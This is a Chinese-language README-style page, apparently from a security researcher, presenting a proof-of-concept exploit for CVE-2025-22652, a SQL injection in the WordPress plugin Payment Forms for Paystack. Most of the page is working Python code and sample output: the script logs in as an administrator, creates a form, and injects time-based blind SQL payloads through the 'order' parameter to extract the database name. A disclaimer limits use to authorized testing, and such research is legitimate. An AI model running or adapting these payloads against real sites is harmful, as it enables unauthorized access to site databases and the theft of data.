Payment Forms for Paystack SQL注入安全漏洞检测工具 (CVE-2025-22652)

0 阅读5分钟

CVE-2025-22652 SQL注入漏洞检测工具

📖 项目概述

本项目是针对WordPress插件 Payment Forms for Paystack 的安全漏洞检测工具,该插件在4.0.1及以下版本中存在严重的SQL注入漏洞(编号CVE-2025-22652)。漏洞源于插件在处理URL参数order时未进行充分的输入验证和转义处理,导致攻击者可以在已认证管理员权限的前提下,通过时间盲注技术从数据库中提取敏感信息。

本工具通过自动化流程模拟攻击者的操作步骤,帮助安全研究人员和系统管理员评估目标WordPress站点的安全性,及时发现并修复潜在的数据泄露风险。

✨ 功能特性

  • 自动化管理员认证:通过WordPress登录接口自动完成管理员身份认证,获取操作会话
  • Paystack表单自动创建:自动化创建用于漏洞利用的Paystack表单,无需手动配置
  • 基于时间的盲注检测:利用MySQL的sleep()函数和条件语句,实现精确的时间差异判断
  • 数据库信息提取:支持自动化提取目标数据库的名称及长度信息
  • 代理服务器支持:内置代理配置功能,便于通过代理工具进行流量分析和调试
  • 可配置延迟参数:允许自定义时间延迟阈值,适应不同网络环境的检测需求

🔧 安装指南

系统要求

  • Python 3.6 及以上版本
  • 目标WordPress站点已安装Payment Forms for Paystack插件(版本≤4.0.1)

依赖安装

本工具仅依赖requests库,可通过pip快速安装:

pip install requests

下载与配置

  1. 克隆或下载项目代码至本地目录
  2. 编辑poc.py文件,配置目标站点和管理员凭证:
# WordPress目标站点地址
TARGET = "http://localhost:8080"

# 管理员账号与密码
ADMIN_ID = "admin"
ADMIN_PW = "admin"

# 可选:配置代理服务器
PROXY_SERVER = None  # 示例: "http://127.0.0.1:8080"

📋 使用说明

基础使用

在配置完成后,直接运行PoC脚本即可启动漏洞检测:

python poc.py

执行流程

脚本将按以下步骤自动执行:

  1. 管理员登录:使用配置的凭证登录WordPress后台
  2. 创建Paystack表单:自动创建用于漏洞利用的测试表单
  3. 提取数据库名长度:通过时间盲注判断数据库名称的长度
  4. 提取数据库名称:逐字符爆破数据库名称

预期输出示例

[+] Logging in with administrator account.
 |- Account: admin, Password: admin
 |- Successfully logged in with account admin.
[+] Adding Paystack Form.
 |- Extracted Paystack Form ID: 13
[+] Retrieving database name length.
 |- Database name length is greater than 1.
 |- Database name length is greater than 2.
 ...
 |- Database name length: 8
[+] Retrieving database name.
 |- Database name: w*******
 |- Database name: wo******
 |- Database name: wor*****
 ...
 |- Successfully extracted the database name: wordpress

高级配置

调整延迟时间

可通过修改SLEEP_TIMER变量调整检测延迟(默认1秒):

SLEEP_TIMER = 5  # 调整为5秒,提高网络不稳定环境下的准确性
配置代理

取消注释并配置PROXY_SERVER变量,支持通过Burp Suite等工具进行流量分析:

PROXY_SERVER = "http://127.0.0.1:8080"
proxies = {
    "https": PROXY_SERVER,
    "http": PROXY_SERVER,
}

🧩 核心代码

管理员认证模块

该模块通过WordPress的标准登录接口进行身份认证,并验证登录成功后的会话Cookie。

def __login_get_session(login_id, login_pw):
    session = requests.session()
    data = {
        "log": login_id,
        "pwd": login_pw,
        "wp-submit": "Log In",
        "testcookie": 1
    }
    resp = session.post(f"{TARGET}/wp-admin/login.php", data=data, proxies=proxies)
    if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
        print(f" |- Successfully logged in with account {login_id}.")
        return session
    else:
        raise Exception(f"[-] Failed to log in.")

Paystack表单创建

自动创建用于漏洞利用的Paystack表单,并从响应中提取表单ID。

def add_paystack_form(session, form_title):
    # 获取表单创建页面,提取必要的nonce等参数
    resp = session.get(f"{TARGET}/wp-admin/post-new.php?post_type=paystack_form", proxies=proxies)
    pattern = r'<input[^>]*name=[\'"]([^\'"]+)[\'"][^>]*value=[\'"]([^\'"]+)[\'"]'
    matches = re.findall(pattern, resp.text)
    data = {}
    for name, value in matches:
        data[name] = value
    data["post_title"] = form_title
    
    # 提交表单创建请求
    resp = session.post(f"{TARGET}/wp-admin/post.php", data=data, proxies=proxies)
    pattern = r'\[pff-paystack id=&quot;(\d+)&quot;\]'
    match = re.search(pattern, resp.text)
    if match:
        paystack_form_id = match.group(1)
        print(f" |- Extracted Paystack Form ID: {paystack_form_id}")
        return paystack_form_id
    else:
        raise Exception(f"[-] Failed to find Paystack Form ID.")

时间盲注数据库长度提取

通过条件判断构造SQL注入payload,根据响应时间差异判断条件的真伪。

def poc_get_db_length(session, paystack_form_id):
    length = 1
    while True:
        # 构造SQL注入payload,判断数据库名称长度是否等于当前值
        payload = f", (select sleep({SLEEP_TIMER}) from dual where (IF(LENGTH(DATABASE()) = {length},1,0)))"
        params = {
            "post_type": "paystack_form",
            "page": "submissions",
            "form": paystack_form_id,
            "orderby": "",
            "order": payload
        }
        start_time = time.time()
        session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

        # 根据响应时间判断条件是否成立
        if (time.time() - start_time) < SLEEP_TIMER:
            print(f" |- Database name length is greater than {length}.")
            length += 1
        else:
            print(f" |- Database name length: {length}")
            break
    return length

数据库名称逐字符爆破

遍历ASCII字符集,逐个字符爆破数据库名称。

def poc_get_db_name(session, db_length, paystack_form_id):
    db_name = ""
    for i in range(1, db_length + 1):
        for char in string.ascii_letters + string.digits:
            # 构造payload,判断指定位置的字符是否匹配
            payload = f", (select sleep({SLEEP_TIMER}) from dual where (IF(SUBSTR(DATABASE(),{i},1)='{char}',1,0)))"
            params = {
                "post_type": "paystack_form",
                "page": "submissions",
                "form": paystack_form_id,
                "orderby": "",
                "order": payload
            }
            start_time = time.time()
            session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)

            if (time.time() - start_time) > SLEEP_TIMER:
                db_name += char
                print(f" |- Database name: {db_name.ljust(db_length, '*')}")
                break
    
    print(f" |- Successfully extracted the database name: {db_name}")

漏洞利用主流程

整合所有模块,执行完整的漏洞利用链。

def poc():
    # 1. 管理员登录
    print(f"[+] Logging in with administrator account.")
    admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
    
    # 2. 创建Paystack表单
    print(f"[+] Adding Paystack Form.")
    paystack_form_id = add_paystack_form(admin_session, form_title="PoC")

    # 3. 获取数据库名称长度
    print(f"[+] Retrieving database name length.")
    db_length = poc_get_db_length(admin_session, paystack_form_id=paystack_form_id)

    # 4. 获取数据库名称
    print(f"[+] Retrieving database name.")
    poc_get_db_name(admin_session, db_length, paystack_form_id=paystack_form_id)

⚠️ 安全声明

本工具仅供安全研究和授权测试使用。未经目标系统所有者明确授权,使用本工具进行任何形式的渗透测试均属违法行为。使用者需自行承担因不当使用而产生的所有法律责任。

📚 参考资源